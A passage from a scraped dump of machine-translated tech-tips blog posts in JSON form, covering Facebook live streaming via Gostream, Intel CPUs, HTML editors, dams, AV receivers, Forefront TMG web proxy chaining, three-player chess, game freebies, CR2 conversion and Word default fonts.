video.\n  Next, the user will receive a notification from Gostream that allows the service to access the Facebook account . Click Continue as .\n  Note to users , immediately after the above step, the interface for streaming live stream on Facebook will appear. If there is no live stream window, it means your browser is blocked. We need to allow the use of popup and reload the page.\n  Step 10: Next, users will be asked to post videos directly on Facebook personal page, friend page, or on Facebook personal group. Select the location you want to play the video and then click Next below.\n  Step 11: Soon, you will see the live stream video streaming interface on Facebook . We can post the status line as usual. You wait for a while and will see in the interface on the left side of the screen the preview pane when playing live video on Facebook . If you like, press Live Play .\n  Reload your Facebook profile and you will see Youtube videos played live on Facebook as shown below.\n  When the video ends, a live video message appears. Wait a few minutes and the live video will appear on our Facebook account timeline.\n  Pretty simple, isn't it ?! By Gostream service, we can conduct live stream on Facebook without any software support. In addition, Gostream supports streaming video directly to Facebook from various sources, such as Youtube, torrent, spocast, Google Drive, etc. Images and sounds when streaming videos to Facebook are quite stable, no phenomenon exists. noise or sound loss.\nI wish you all success!\nIf you want to use this service to stream directly to YouTube, please refer to the following instructions: How to live stream on Youtube from any video link with GoStream\nncG1vNJzZmismaXArq3KnmWcp51kwamxjLCYsmWkpHq0wNGemKZlnJ7DpnnVopuep6NiwbB5xZqanpqfpLhusM6eqmamn6l6s7HQrqCrnV2kvaa6jJupqJmUmK60wMSrZKynlqnEor7E\n","link":"/post/the-way-to-stream-live-videos-to-facebook-does-not-require-open-broadcaster-software/","section":"post","tags":null,"title":"The way to stream live videos to Facebook does not require Open Broadcaster Software"},{"body":"In today's article, we invite you to read with TipsMake to find out the top 5 best Intel CPUs in 2022.\nIntel Core i5-12600K   Core i5-12600K is the best CPU you can buy right now. It's not only the best Intel processor for gaming, but it's also the best processor overall. This processor consists of 10 cores.\nSingle-core innovations with Intel's 12th generation processors shine through with the Core i5-12600K. In games, it can outperform the Ryzen 9 5950X (almost 3 times more expensive) in some cases.\nThe Core i5-12600K also benefits from a 12th generation hybrid architecture. This type of CPU is generally best for pure gaming. The 10-core count also offers plenty of bandwidth for gaming and streaming, which is something we rarely see on a processor in this price range.\nIntel Core i5-11600K   Intel's 11th-generation Rocket Lake platform isn't perfect, but the Core i5-11600K is still a decent choice. It's a bit worse than the Core i5-12600K, but in return you can get a chip for less.\n11600K is fine with most titles. In some games, such as Death Stranding, the 11600K actually beats the 10700K of the previous generation and can match the 10900K in other games. While not quite the improvement Intel fans would expect, the 11600K proves that you don't need a high-end processor to play games.\nGeneration-by-generation improvements are more apparent in non-game related tasks. The 11600K has surpassed Intel's previous generation products and offers greater competition with AMD's mid-range chips for productivity tasks, leveraging application-specific accelerators to achieve high performance. great results. Single-core performance also increases without major trade-offs in terms of multi-core performance.\nThe 11600K is a great gaming processor, enough for both gaming and productivity tasks. However, overall, the 12600K is a better option, so only go for the 11600K if you can find it at a great discount.\nIntel Core i5-10400F   Although not part of the Core i3 series, the 10400F is also one of Intel's low-cost processors. This CPU has 6 cores and 12 threads, base clock is 2.9 GHz and boost clock is 4.3 GHz. The chip is cheaper than the 10600K while still having the same specs. The biggest difference is the 'F' suffix, meaning that 10400F requires discrete graphics.\nEven with the low price, the 10400F performs well. In tasks like rendering, the 10400F can match the 9700K and beat AMD's low-cost Ryzen 3000 chips. While the 10400F isn't powerful enough for most CPU-intensive tasks, it's still a great Intel processor for web browsing, light image editing, and office applications.\nIf you are a gamer, the 10400F is a better choice. With multiple cores and powerful boost clock speeds, the 10400F can beat CPUs 3 times its price. If you pair an Intel Core i5-10400F with a good graphics card, you can get gaming performance on par with an i7 and sometimes even an i9.\nIf you're looking for a CPU with enough power for light productivity work and gaming, it's hard to find an option that can beat the 10400F.\nIf you can afford it, a possible alternative is the new generation 11400F. It's a bit faster and the price is higher too.\nIntel Core i9-12900K   Intel's flagships haven't been impressive for the past few generations, but the Core i9-12900K has changed that. It's the top of the line flagships, with 16 cores and a single-core boost speed of up to 5.2GHz. The Intel Core i9-12900K beats everything else on the market, making it a great choice for gaming, content creation, or just about anything else.\nThe Core i9-12900K really shines when it comes to content creation, it's much faster than the competition. This chip consumes a lot of power, like most Intel chips today. The Core i9-12900K is a prime example of Alder Lake's hybrid architecture and what it can do for PCs, providing a high core count and plenty of bandwidth for multitasking.\nIntel Core i7-11375H   While Intel's new desktop processors may have some issues, the Tiger Lake mobile processors are great. For a great balance between performance and power, the article recommends using the i7-11375H. It comes with 4 cores and 8 threads, a base clock of 3.3GHz and an amazing boost clock of 5GHz. i7-11375H leads Intel's new Tiger Lake H35 processor, targeting mobile gaming laptops with 14-inch screens.\nThis processor appears in laptops like the MSI Stealth 15M. Despite similar specs, the i7-11375H beats even the top Tiger Lake chips. That leads to some improvements in single-core performance. However, it's hard to say anything for sure about a mobile CPU. The wrong build can make even the best processors appear weak, and a good configuration can make inefficient CPUs shine. The i7-11375H is undoubtedly the most powerful mobile Intel CPU available, but it's important to consult individual laptop reviews.\nIf you're looking for more power, Intel also offers the Core i9-11980HK in its high-end gaming laptop. It comes with 8 cores and 16 threads, same 5GHz turbo speed, so it is definitely faster than i7-11375H. However, it mostly appears on high-end consoles, so it's not an option for everyone.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqqutOeo2aboKrAbn6Pa2k%3D\n","link":"/post/top-5-best-intel-cpus-2022/","section":"post","tags":null,"title":"Top 5 best Intel CPUs 2022"},{"body":"A good HTML editor must have a spell checker, line number, autocomplete, page preview and a text and image editing tool. There are many types of editing tools (text, object and WYSIWYG), so it is important to find an appropriate tool. This article will introduce you to the top 10 best HTML editing tools for Windows.\n1. NotePad ++ software Notepad ++ is a favorite free editing tool. This is a more powerful version of the default Notepad software you can find in Windows. It includes a number of features such as line numbers, color codes, hints and some useful tools that standard Notepad apps don't have. So Notepad ++ is the ideal application for web designers and front end developers.\n  Download : NotePad ++\n2. Komodo Edit software   There are two versions of Komodo available, Komodo Edit and Komodo IDE. Komodo Edit is open source and free to download. Komodo Edit includes a lot of great features for developing HTML and CSS. In addition, you can get extensions to add language support or other useful features, such as special characters.\n5 interesting HTML and CSS features to look forward to in 2018 Komodo is not the best HTML editing tool but is especially useful if you build XML, it is really remarkable.\nHow to structure XML for interactive Web applications? Download : Komodo Edit\n3. Eclipse software   Eclipse (the latest version called Eclipse Mars) is a complex development environment, perfect for people writing code on multiple platforms and in many different languages. It is structured as a plug in, so if you need to edit something, you just need to find the appropriate plug in.\nIf you are creating complex web applications, Eclipse has many features to help you easily build applications, including Java, JavaScript and PHP plug-ins, as well as a number of other plugins for mobile developers. .\nThe best IDE for people with PHP programming Download : Eclipse\n4. CoffeeCup Free HTML Editor software   CoffeeCup Free HTML has two versions, free version and full version. The free version is a good tool but it will lack some features that are only available in the paid version. CoffeeCup now also provides an upgrade called Responsive Site Design that supports Responsive Web Design. This version can be added in the full version of this editor.\nOne important thing to note is that many websites that list this editor are free WYSIWYG editors (what you see is what you get - what you see is what you get), but when testing , it asked to buy CoffeeCup Visual Editor to receive WYSIWYG support. The free version is just a simple and interesting text editor.\nThis text editing tool, like Eclipse and Komodo Edit, is for web designers. It ranks fourth because it is not appreciated by them. However, if you are a beginner of web design and development, or a small business owner, this tool has more features to suit you than Komodo Edit or Eclipse.\nDownload : CoffeeCup Free HTML Editor\n5. Aptana Studio software   Aptana Studio provides an interesting choice for website development. Instead of focusing on HTML, Aptana focuses on JavaScript and other factors that allow you to create rich Internet applications. Therefore, it may not be suitable for simple web design needs but if you are looking for other ways to develop web applications, the tools provided in Aptana are very suitable.\nHowever, unfortunately, Aptana is not updated, the website as well as their Facebook and Twitter pages announce the release of version 3.6.0 in July 2014, but no subsequent announcements were made.\nDownload : Aptana Studio\n6. NetBeans software   NetBeans IDE is a Java IDE that can help you build powerful web applications. Like most IDE's, it's a bit complicated and has a lot to learn because it doesn't work like regular web editing tools. However, once you get used to it, you will find this tool useful and worth using.\nThe version control feature is included in the IDE, especially handy for those working in a large development environment, as well as developer collaboration features. If you are focusing on writing Java and websites then this is a great tool.\nDownload : NetBeans\n7. Microsoft Visual Studio Community software   Microsoft Visual Studio Community is an intuitive IDE that helps web developers and developers create applications for the web, mobile devices and desktop computers. Previously, you might have used Visual Studio Express, but this is the latest version of the software. They offer a free version, as well as paid versions (including free trial versions) for Professional and Enterprise users.\nDownload : Microsoft Visual Studio Community\n8. BlueGriffon software   BlueGriffon is the \"newcomer\" among the web page editing tools, starting with NVU, advancing to Kompozer and now BlueGriffon. It is supported by Gecko, Firefox's rendering engine, so it shows how it is rendered in a browser that complies with that standard. BlueGriffon is available for Windows, Mac, Linux and in many different languages.\nThis is the only truly WYSIWYG editing tool on this list, and as such it will be more attractive for beginners and small businesses.\nDownload : BlueGriffon\n9. Bluefish software   Bluefish is a full-featured HTML editor that runs on many different platforms, including Linux, MacOS, Windows and many other applications. The latest release (2.2.7) fixed some of the bugs found in previous versions.\nThe remarkable feature given since version 2.0 is code spell checking, auto completion of many different languages ​​(HTML, PHP, CSS, etc.), code, project management and auto-save. .\nBluefish is primarily a code editor, not a specific web editing tool. This means that it is very flexible, web developers can write in languages ​​other than HTML. However, if you are a designer and want to focus on the web or prefer a WYSIWYG interface, Bluefish may not be for you.\nDownload : Bluefish\n10. Emacs Profile software   Emacs is found on most Linux systems and makes it easy to edit pages even if you don't have standard software. Emacs is more complex than some other editing tools, and therefore offers more features and is more difficult to use. Outstanding features: XML support, script writing, advanced CSS and integrated testers, as well as color-coded HTML editing.\nDownload : Emacs Profile\nSee more:\n5 free online HTML editing tools that test the best code 7 great HTML effects anyone can add to their website Top 10 HTML tags that each blog and website owner should know ncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWWp7KmecetpKVllZm2tbXNoGStp5%2BhwG6yzqtksKGemby4v4xrZ2pw\n","link":"/post/10-best-free-html-editing-tools-for-windows-2018/","section":"post","tags":null,"title":"10 best free HTML editing tools for Windows 2018"},{"body":"The Three Gorges Dam, Itaipu dam, wooden dam, sand dam . are the most exotic dams in the world.Behind each of these 'unusual' dams is a story that makes many people wonder.Find out what makes them special among countless dams in the world.\n7 underground works overwhelmed you Pisa leaning tower - The most unique architecture on the planet Top 10 most beautiful castles in the world 1. Three Gorges Dam\nThe Three Gorges Dam on Yangtze River was built in Yichang, Hubei Province, China. This is the largest hydroelectric dam in the world with a height of 182m, and is also the largest power source in the world, about 84 billion kWh.\n  The construction of the Three Gorges Dam lasts 15 years, using 27.2 million cubic meters of concrete and 463,000 tons of steel (enough to build 63 Eiffel towers). Thirteen cities, 140 towns and 1,600 villages were sunk, about 1.43 million people were displaced. It was completed in 2011. Although it is the largest hydroelectric dam in the world, it only has a lifespan of 70 years.\n2. Itaipu dam\nItaipu Dam is located on Parana on the border between Brazil and Paraguay - Parana Canal. This work provides 19% of power consumption for Brazil and 90% for Paraquay.\n  The Itaipu dam is more than 196 meters tall, equivalent to 65 floors, made up of 12.3 million cubic meters of concrete and enough steel to build 380 French Eiffel Towers. To build this massive building, Parana, the seventh largest river in the world must change the flow.\n3. Grand Coulee Dam\n  This building is located on the Columbia River in Grand Coulee, Washington, USA. Grand Coulee Dam is 1,600m long, 503m wide, 115m high (twice the Niagara Falls, North America) and is the largest dam in America. It was large enough to accommodate all of Giza's pyramids.\n4. Sayano Dam - Shushenskay\n  This work is located on the Yenisei River in Khakassia, Russia. This is the largest hydroelectric dam in Russia and the sixth largest in the world.\nRussia's Sayano-Shushenskay dam was built very solidly, able to withstand the magnitude 8.0 earthquake, recorded in the Guinness Book of World Records for certainty.\n5. Robert - Bourassa dam\n  \nRobert-Bourassa Dam is located on La Grande River in Quebec, Canada. This work is the largest underground plant in the world, it is located 140m from the river's surface. At the center of the dam is a \"giant staircase\", each step that is twice the size of a football field to sweep down the water.\n6. Smashing wood\n  \nIn the northern Japanese province of Akita, large-scale dams have been built to minimize the effects of landslides and mud flows in the mountains. But unlike other buildings, this dam is built from cedar wood, a rich source of Japanese materials to limit carbon emissions from the construction of steel and concrete dams.\n7. Smashing sand\n  \nUnlike large dams built for hydroelectric purposes, sand dams in Kenya are quite small in size about 50m long, 2 to 4m high and built to store water during the rainy season, then serve the community. drought population.\nSince 1995, Kenya has built more than 500 sand dams.\nncG1vNJzZmismaXArq3KnmWcp51khG67xWaroZ1dory0wIyer6ismZh6pa3MrGSipl2ptaZ51qippZxdlrulecinq56qlajBqrrGZquhoZ6cwG7Ax5qrZpmdlsemecyapbJloJq8sbjE\n","link":"/post/7-of-the-most-exotic-dams-in-the-world-and-interesting-things-that-amaze-many-people/","section":"post","tags":null,"title":"7 of the most exotic dams in the world and interesting things that amaze many people"},{"body":"Want to find the best AV receiver for the money? I've recently tested some of the most popular big black box options from the major brands, and the feature sets and performance levels are impressively high in this middling price range. From Dolby Atmos to Wi-Fi music streaming\u0026nbsp;to\u0026nbsp;voice control\u0026nbsp;-- and, of course, high-quality audio -- these models have everything a home theater enthusiast needs.\nWhich receiver comes out on top? Of the current receiver models I've reviewed,\u0026nbsp;the Onkyo TX-NR696 is my favorite pick for best AV receiver. The receiver offers easy setup, excellent usability, great surround sound with plenty of headroom, solid looks and, most important, plenty of up-to-date features essential to a stereo receiver. The Onkyo retails for more than $500, but it's regularly on sale for under that. Even at $580 the TX-NR696 is a great deal.\nThe Sony STR-DN1080\u0026nbsp;also puts in a good show despite being from 2017, as does the 2019 Denon AVR-S750, which offers even more refined performance than the Sony and Onkyo. I rated all three as \"excellent,\" with just a little daylight separating their overall CNET ratings. They're all great performers and, as prices fluctuate regularly, if you can find one that's significantly less expensive than the others, go for it.\nAlso consider What to look for in a $500-ish receiver AV receivers\u0026nbsp;are notoriously complex, with reams of features and confusing technical specifications. I'm going to sum up the most important ones right here.\u0026nbsp;\n4K HDR compatibility You want to make sure your new receiver can keep up with the latest TVs and video gear. Standards do change all the time, but the bare minimum right now is support for HDR and Dolby Vision (at least\u0026nbsp;HDMI version 2.0\u0026nbsp;or better). All of these models support 4K and HDR video.\n  At least four HDMI inputs With most\u0026nbsp;televisions\u0026nbsp;and set-top boxes supporting HDMI, you should buy a receiver that has as many of these inputs and outputs as possible. Front-mounted HDMI ports are kind of like appendices -- unneeded, because most users don't do hot-plugging of HDMI devices -- making the number of rear inputs what's most important (how else are you going to connect your blu-ray player, Nintendo Switch, sound bar and all your other devices. The\u0026nbsp;Yamaha\u0026nbsp;has the least at four, while the\u0026nbsp;Sony\u0026nbsp;and Onkyo have the most, at six. The Sony also offers a second HDMI-out for Zone 2. You should also be sure you have an extra HDMI cable or two on-hand.\nYou don't really need Dolby Atmos 'height' speakers The Yamaha is the only model here that doesn't support\u0026nbsp;Dolby Atmos\u0026nbsp;and\u0026nbsp;DTS:X, but the effects they have on your home theater movie watching can be subtle, or in most movies: nonexistent. In other words, don't worry about missing out on these new formats if you don't install the extra speakers. Mounting rear wireless surround speakers high on the wall instead will get you half of the way in terms of quality immersive sound.\nWi-Fi music streaming Most midrange receivers have onboard Wi-Fi network connectivity for wireless music streaming. There are plenty of standards for wireless streaming services, but the most universal are\u0026nbsp;Apple\u0026nbsp;AirPlay\u0026nbsp;and Google\u0026nbsp;Chromecast\u0026nbsp;(and sometimes Spotify Connect) built in . If you're looking to build a multiroom system with a variety of AV systems and speakers with wireless connectivity, these are the two flavors to aim for. The Onkyo and Sony are the only two that support both. The Denon models lack wireless streaming via Chromecast but up the ante to\u0026nbsp;AirPlay 2.\nFor more on what you should be looking for, check out\u0026nbsp;my full AV receiver buying guide.\nncG1vNJzZmismaXArq3KnmWcp51kr6a%2F02aYr2WimrCmtdWeqWanlmJ%2FcX6P\n","link":"/post/best-av-receiver-of-2020/","section":"post","tags":null,"title":"Best AV receiver of 2020"},{"body":"In this series we will show you a typical deployment scenario and how to configure web proxy chaining in Forefront Threat Management Gateway (TMG) 2010 .\nWeb proxy chaining is an effective way to distribute web proxy traffic in an organization, contributing to reducing bandwidth consumption on low-speed WAN links, reducing resource usage on proxy servers in documents. main room, or delegated administration to remote site administrators. Web proxy chaining is a configuration in which a proxy server (called a downstream proxy server) is configured to forward requests to another proxy server (called upstream proxy server) instead of retrieving the contents. directly from the Internet. Downstream proxy server may or may not have a direct connection to the Internet. In the first part of this two-part series, let's take a look at a deployment scenario and we will show you how to configure web proxy chaining in Forefront Threat Management Gateway (TMG) 2010. .\nWeb Proxy Chaining\nBefore proceeding, an important issue to be clarified is that the web proxy chaining only applies to traffic handled by the web proxy filter; means traffic generated by web proxy client clients. Web proxy chaining has no effect on TMG Firewall Client or SecureNET traffic. To take advantage of web proxy chaining features available in TMG, we need to configure clients to use proxy servers, either by entering a proxy server manually or by using one of the automatic configuration options ( DNS or DHCP), using group policy, or by deploying TMG Firewall Client with the appropriate proxy server settings.\nConfiguration\nA common web proxy chaining deployment scenario is when a proxy server (or array) is located in the main office, another proxy server (or array) is located at the remote branch office (see in the map below ). Users at the main office are configured to use the main proxy server for Internet access. Users at the branch office are configured to use their local proxy server, which is the proxy server configured to forward requests to the upstream proxy server located at the main office.\n   Figure 1 Web proxy chaining is enabled by creating web chaining rules . These rules determine how the firewall routes the web proxy requests when allowing them. To configure web proxy chaining in this basic scenario, open the TMG management console on the downstream proxy server and click the Networking button in the console tree.\n   Figure 2 Figure 2: In the main window, select the Web Chaining tab, and then in the Tasks panel select Create New Web Chaining Rule .\n   Figure 3 When the New Web Chaining Rule Wizard opens, name the new web chaining rule.\n   Figure 4 Select the appropriate Web Chaining Rule Destination . We have almost no restrictions on the options here, but for demonstration purposes, we only choose to forward all requests to the Internet by selecting the External network .\n   Figure 5 Select the option to transfer the requests to the specified upstream server.\n   Figure 6 Specify the IP address, hostname or FQDN of upstream proxy server. Unless you have changed the web proxy listening ports on upstream proxy server, you will not need to change the default ports listed here. To apply the Apply malware check to Web content received from or sent to an upstream proxy checked only when upstream proxy server does not perform malware inspection, because the malware inspection is not supported on both downstream proxy server and upstream proxy server at the same time. The option to scan for viruses and malware is by you. If you choose to scan on upstream proxy server, you can prevent malicious software from entering the network. If upstream proxy server is aggregating a large number of downstream proxy server requirements, the load will increase significantly and may overload CPU and disk performance, resulting in latency. In this case, scanning downstream servers will help you distribute the load, reducing resource consumption on upstream servers.\n   Figure 7 Select the backup action that is appropriate for your environment. If the downstream server has a direct connection to the Internet, you can choose the option to retrieve requests directly from a destination ( retrieve requests directly from the specified destination ). If there is a proxy server (or array) in another location that can be used as an upstream server, then you can choose the option to route requests to the upstream server ( route requests to an upstream server ). (there will be additional information reminders). If the downstream server does not have alternate routes (or is not allowed for corporate security policies), select the default option to ignore requests .\n   Figure 8 The new rule will now appear in the list. Web chaining rules will be processed in order, so our new rule is preceded by the default rule. Although we have created a new rule here, it is possible to change the default rule to provide the same results.\n   Figure 9 Note: An important issue to keep in mind is that access rules must be properly placed on the downstream server and upstream to facilitate web access.\nConnection restrictions\nIn many cases, enabling web proxy chaining can cause the server downstream to exceed the connection restrictions enforced by the overflow settings on the upstream server. Upstream servers will receive connection requests from a particular host (downstream server) instead of each individual client. If the server is downstream aggregating requests for a large number of clients, we need to change the default connection restrictions on the upstream server. This can be configured by adding downstream servers to the IP exception list, rather than changing the default restrictions for all hosts. You will find the overflow settings in the TMG management interface by clicking Intrusion Prevention System in the interface tree, clicking Configure Flood Mitigation Settings in the main window and then selecting the IP Exceptions tab and creating a computer set containing Your downstream servers.\n   Figure 10 Conclude\nDepending on your specific requirements, web proxy chaining configuration may be relatively simple (as discussed here) or can be quite complicated. The example outlined above assumes that all traffic will be routed to the upstream proxy server, and no authentication is required. In many cases, the downstream proxy will have a direct connection to the Internet and only some traffic is routed to the upstream proxy server. Normally an upstream proxy server also requires authentication, so additional plans and configurations are required. In part two of this article series, I will show you some more detailed deployment scenarios.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYsSmroypqaiwqWKwqa3Ip6Cnn12eu26yzqucn6qfo8FuwMygZGtoYWV6sa3RrWRq\n","link":"/post/configure-web-proxy-chaining-in-forefront-tmg-2010/","section":"post","tags":null,"title":"Configure Web Proxy Chaining in Forefront TMG 2010"},{"body":"The three-person chess is essentially a normal chess, but there is a third player involved. The chessboard will usually be hexagonal, and sometimes some other rare shapes. Because there are 3 players, there will also be 3 different chess colors, and each player will have a separate position to line up.\nThe move of each chess piece is basically no different from the chess of two people. The only difference is that the squares on this board are not squares, so when you move a piece like Rook, it will follow a slightly curved path rather than a straight line.\n Chess board 3 people hexagonal form\nChess rule of three people\nYou might wonder if three-player chess is fair or not? Did you put all your energy into attacking a player?\nIn theory it is possible, and that's why ensuring fairness in a game like three-person chess is very difficult. For most popular three-person chess games, the winner is simply the first player to check for another player. This means that the game will end as soon as one player takes out another player, and the other will be ranked second.\nIn other words, the first to checkmate will be first, the first to be checkmate will be . bet, and the other will be second.\nIf you love playing chess but have never tried chess in 3 people, you can visit the website threechess.com to play against other people, or against the computer.\nWhen fighting against a computer, you can set the difficulty level you want. Those who played chess three people all admit that it is much more interesting than ordinary chess. Not only do you have to constantly worry about being attacked by two opponents, but you can also shake your thighs to enjoy the carnage between the two remaining players.\nIt can be said that chess of three people is a combination of experience playing chess and watching others play chess.\n Chess board 3 people round shape\nHowever, historically, people have thought of many other ways to play chess three people, not only one way is \"whoever wins first wins\" as above. One of the best known are \"neutral rules\", introduced in the mid-2000s by Ilshat Tagiev. This rule states that during a turn, a player may only attack an opponent if he has been attacked by that opponent in the previous round, or if the opponent has not been attacked by the third player in the previous round of the game. surname.\nThis rule works to prevent 2 players from cooperating to \"bully\" a third player, and is one of the main ways to play a three-player chess.\nIf you don't want to play online on your computer, you can shop for a three-piece chess set here and invite your friends to try it out!\nncG1vNJzZmismaXArq3KnmWcp51kwam%2BxJ6kmqZdmLWmv9JmmquZqq56qK3MnmSaq12ptaZ5zZqknmWZor2ttcSs\n","link":"/post/crazy-game-as-the-name-implies/","section":"post","tags":null,"title":"crazy game as the name implies"},{"body":"The Escapists, a great escape simulation game. In the game, the player will have to go through an extremely difficult escape journey, with the difficulty increasing with each level. To win, gamers must patiently observe the behavior of the guards, try hundreds of different ways to be able to devise a bold escape plan.\n  With pixel graphics and challenging simulation gameplay, 'distilled water' gameplay and a massive crafting system, The Escapists is definitely a name you cannot ignore.\nMinimum configuration for Windows to fight The Escapists smoothly\n  \nCurrently, The Escapists are being offered for free on the Epic Games Store until December 19, 2019. If you like this game, please download it quickly before the offer ends.\nGuide to getting The Escapists for free\nStep 1: Log in or register an Epic Games account (if not already available) by following the link below.\nhttps://www.epicgames.com/id/login  Step 2: Download and install Epic Games Launcher on your computer by following the link below.\nDownload Epic Games Launcher for Win / Mac Step 3: Once the installation is complete, open the Epic Games Launcher application on your computer, click on Store -\u0026gt; click Get a free game to play every week-\u0026gt; at the details page, click \"The Escapists \"-\u0026gt; click GET -\u0026gt; Place Oder.\n  Step 4: Click the Library item (\u0026gt; Library) -\u0026gt; click the Install button under the avatar of \"The Escapists\" to download, then install the game is done.\nYou can also log in directly on the web browser (Mobile / PC) to add this game to the library by following the link below.\nhttps://www.epicgames.com/store/en-US/product/jotun/home  Download Wasteland 2 Director's Cut Digital Classic Edition for $ 29.99, now free Please download Jotun: Valhalla Edition, a game about great Norse mythology that is free ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdqbWmecSsmpqomajBtHnAZp6apZVixKrAx2acsayimrqmuNhmnqinlGLAtbHApauhZZeWuqa8y5qwZqGjYrOzscQ%3D\n","link":"/post/download-the-escapists-a-game-with-extremely-good-stealth-gameplay-is-free/","section":"post","tags":null,"title":"Download The Escapists, a game with extremely good stealth gameplay, is free"},{"body":"In this article, let TipsMake find out everything about the character Maro. The new Maro Free Fire character will be a great character for snipers, a guy with the ability to increase damage based on distance, think the farther you aim, the higher the damage will be. .\nHow to get the character Maro Maro is currently in the game, but there is still no way to own this guy. He will be released in an upcoming Free Fire collaboration, we will be constantly updating with the latest information as well as how to get Maro Free Fire.\n  Skills of Maro character Maro Free Fire's ability is a passive ability called Falcon Fervor. The ability to increase damage by distance, marked enemies will be heavier. Here are details of the new Maro Free Fire character's skills:\nFalcon Fervor Level 1: Damage increases with distance, up to 5%. Damage to marked enemies increases by 1%. Falcon Fervor Level 2: Damage increases with distance, up to 7%. Damage to marked enemies increases by 1.5% Falcon Fervor Level 3: Damage increases with distance, up to 10%. Damage to marked enemies increases by 2% Falcon Fervor Level 4: Damage increases with distance, up to 14%. Damage to marked enemies increases by 2.5% Falcon Fervor Level 5: Damage increases with distance, up to 19% Damage to marked enemies increases by 3% Falcon Fervor Level 6: Damage increases with distance, up to 25%. Damage to marked enemies increases by 3.5%   Tips to play character Maro There is no doubt that Maro is a perfect character for the sniper role. With a 25% damage increase at maximum level when fighting enemies from afar, even your assault rifle can become a dangerous long-range weapon. With sniper rifles, you can take down the enemy with 2 to 3 bullets in the body no matter what they are equipped with. The best weapon choices for Maro would be the XM8, M82B, SVD and Woodpecker.\nMaro's ability also has a second effect, increasing his damage by 3% to marked enemies. It's not a lot, but it's a great addition because the tracking in Free Fire is useful for snipers.\nAbove is everything you need to know about the new Maro Free Fire character, a great ability for long-range attacks, surely at launch Maro will become a HOT character no less than Xayne, athlete. adventure. ncG1vNJzZmismaXArq3KnmWcp51ksrex0bKroaGenHq6u9RmpZ6dlGLBsHnKp6awZZGXvLbAjK2fnmWTna6zrcKtnKtlnZa%2FsHnIp2SfqpWaeqe10Z4%3D\n","link":"/post/everything-you-need-to-know-about-the-character-maro-in-free-fire/","section":"post","tags":null,"title":"Everything you need to know about the character Maro in Free Fire"},{"body":"When using semi-professional or mechanical cameras, after taking pictures, will generate 2 files in .JPG and .CR2 format but with .CR2 format you cannot view images so you want to convert. .CR2 format to another format for ease of working process. The following article details how to convert CR2 files to JPG online online to help you work more efficiently.\nThere are many websites that support converting CR2 to JPG, the following TipsMake.com guides you to convert on the 2 fastest and most effective conversion websites.\n1. Convert CR2 file to JPG on the page: https://convertio.co Step 1: Access the website via the link: https://convertio.co/vn/cr2-converter/\nThe web interface displays clicked From the computer to select the .CR2 file to convert to .JPG format (in addition, you can select the source file from dropbox, google drive .)\n  Step 2: A dialog box appears, select the path to the CR2 file to convert -\u0026gt; click Open:\n  Step 3: After selecting the file to be uploaded to the website, when the conversion process is ready, click Change:\n  Step 4: The conversion process is done automatically:\n  Step 5: After the conversion process is successful, click the Download button to download the file to your computer:\n  Step 6: Click Save file -\u0026gt; click OK to download the file converted from CR2 to JPG to your computer:\n  2. Convert CR2 file to JPG on page: https://raw.pics.io/ Step 1: Access the website via the link: https://raw.pics.io/convert-cr2-to-jpeg\nClick Go to App to enter the conversion application:\n  Step 2: Click Open files from computer to select the files to convert from your computer (or you can select the files to be converted on Dropbox .)\n  Step 3: Select the path to the file to be converted -\u0026gt; select the .CR2 file to convert to .JPG format -\u0026gt; click Open:\n  Step 4: File format. CR2 is uploaded to the website:\n  Step 5: Move the mouse to the left area of ​​the Draw section -\u0026gt; select the Save this file feature:\n  Step 6: The Save window appears -\u0026gt; in the File name and type section select .jpg format, in addition you can change the image quality, image size . Finally click OK to save the image to the format .JPG\n  Step 7: Select Save file -\u0026gt; click OK to download the file to your computer:\n  Above is a detailed guide How to convert CR2 files to JPG online online quickly and effectively, which is very helpful for you in the process of working.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGabomd6p7XLnmStp12fvah5zqejoqaV\n","link":"/post/how-to-convert-a-cr2-file-to-jpg-online/","section":"post","tags":null,"title":"How to convert a CR2 file to JPG online"},{"body":"In fact, there are a lot of people you have to work on Microsoft Office every day, but do not know much about the simple tips that bring significant effect for you.\nBefore you edit the text, you should set the font for the text because all of these formats will not change as you complete the text, thus helping you reduce work time. The commands related to setting fonts for text are in the Font command group in the Home Tab on the toolbar.\nTo change the font, click the down arrow in the Font name, a list of fonts in the system appears, select the font to be set. Usually we choose the font Time New Roman for the text.\nNext you choose the font size in the Font Size section, in addition to selecting the available font sizes in the list, you can also enter the font size to set directly in this box. Usually with text we choose font size 14.\nBefore drafting, you usually install the font and font size in the first Font. It is simple but if you have to work a lot with Word, then setting the font and font size will be very time consuming.\nTo minimize the time spent setting font and font size, set the default font and font size. So from the next time you open Word, you will not need to set the font or font size because the font and font size have been set by default according to your needs.\nBelow I will guide you how to set the default font size and font in the Word interface\n1.For the Word 2003 interface Click the Format tab, then select Font, you will see the Font dialog box display with the following content:\n  Font: Select a Font and review the font style before selecting in the Preview section.Usually I will choose Time New Roman\n Font style: Select the Regular style, this is a normal font.\n Size: Choose Font size, usually the font size 10 - 13 is medium, the size will depend on the font style.\n   Once done, click the Default button. When the message box appears, click Yes to agree.\n  Then remember to turn off the open Word programs and restart Word to proceed to the default and see the results.\n2. For the Word 2007 interface Step 1: Go to the Home tab, click the arrow in the lower corner of the Font group to open the dialog box.\n  Step 2: Select the Fonts you want to set as the default, the font style and the desired size in the Font dialog box. Then click the Default . button to proceed with the installation.\n  Step 3: Select Yes to complete and then restart Word is.\n  3. Word 2010 version Step 1: Select the icon in Font (or Ctrl + D combination ).\n  Step 2: In the Font dialog box, select Font and Size as you like, then click Set As Default to set the default.\n    Step 3: On the dialog box that appears, select All documents based on the Normal template to apply this default font to all Word documents that are processed later. Click OK to finish and restart Word. 4. Version of Word 2013, 2016 With Microsoft Word 2013 and 2016, you follow the same steps as Microsoft 2010 to set the default font and font size.\nAbove is how to set the default font and font size in Word, you can rely on the steps above to set up Word for your computer to shorten the time spent setting the font and font size in each text editors.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVm662uNNmq6GdXZu8r8CMoqVmrJiaeri70Z0%3D\n","link":"/post/how-to-default-the-font-in-the-word/","section":"post","tags":null,"title":"How to default the font in the word"},{"body":"Rules of Survival is an emerging name in the world game village in general, and survival shooter genre in particular. The game has the same gameplay as the superhero PlayerUnknown's Battlegrounds (PUBG).\nBecause of this factor, a large 